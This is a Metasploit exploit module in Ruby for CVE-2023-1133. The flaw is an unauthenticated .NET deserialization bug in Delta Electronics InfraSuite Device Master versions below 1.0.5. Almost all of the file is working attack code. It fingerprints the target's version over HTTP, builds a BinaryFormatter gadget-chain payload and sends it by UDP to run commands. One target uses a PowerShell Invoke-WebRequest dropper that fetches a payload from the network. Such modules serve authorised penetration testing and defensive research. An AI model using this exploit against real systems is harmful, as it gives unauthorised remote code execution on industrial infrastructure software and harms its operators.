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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::CmdStager
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Remote::Udp
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Delta Electronics InfraSuite Device Master Deserialization',
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        'Description' => %q{
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          Delta Electronics InfraSuite Device Master versions below v1.0.5 have an
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          unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'
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          method of the 'Device-Gateway-Status' process.
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          The 'ParseUDPPacket()' method reads user-controlled packet data and eventually
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          calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,
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          leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.
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        },
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        'Author' => [
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          'Anonymous', # Vulnerability discovery
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          'Shelby Pace' # Metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2023-1133'],
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          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'],
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          ['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133']
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        ],
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        'Platform' => 'win',
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        'Privileged' => false,
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        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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        'Targets' => [
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          [
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            'Windows EXE Dropper',
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            {
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              'Arch' => [ARCH_X86, ARCH_X64],
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              'Type' => :windows_dropper,
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              'CmdStagerFlavor' => :psh_invokewebrequest
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            }
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          ],
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          [
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            'Windows CMD',
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            {
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              'Arch' => [ARCH_CMD],
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              'Type' => :windows_cmd
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            }
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          ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2023-05-17',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS],
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          'Reliability' => [REPEATABLE_SESSION]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(10100),
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      OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]),
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      OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ])
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    ])
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  end
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  def check
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    print_status('Requesting the login page to determine if target is InfraSuite Device Master...')
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    res = send_request_cgi(
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      'method' => 'GET',
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      'rport' => datastore['INFRASUITE_PORT'],
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      'uri' => normalize_uri(target_uri.path, 'login.html')
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    )
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    return CheckCode::Unknown unless res
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    unless res.body.include?('InfraSuite Manager Login')
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      return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.')
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    end
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    print_status('Target is InfraSuite Device Master. Now attempting to determine version.')
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    res = send_request_cgi(
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      'method' => 'GET',
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      'rport' => datastore['INFRASUITE_PORT'],
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      'uri' => normalize_uri(target_uri.path, 'js/webcfg.js')
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    )
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    unless res&.body&.include?('var devicemasterCfg')
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      return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.')
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    end
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    version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/)
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    unless version && version.length > 1
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      return CheckCode::Detected('Failed to find version string')
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    end
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    version = version[1]
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    vprint_status("Found version '#{version}' of InfraSuite Device Master")
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    r_vers = Rex::Version.new(version)
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    return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5')
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    CheckCode::Safe
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  end
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  def exploit
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    connect_udp
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    case target['Type']
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    when :windows_dropper
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      execute_cmdstager
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    when :windows_cmd
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      execute_command(payload.encoded)
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    end
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  end
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  def execute_command(cmd, _opts = {})
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    serialized = ::Msf::Util::DotNetDeserialization.generate(
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      cmd,
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      gadget_chain: :ClaimsPrincipal,
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      formatter: :BinaryFormatter
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    )
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    pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}"
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    udp_sock.put(pkt)
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  end
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  def cleanup
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    disconnect_udp
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  end
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end
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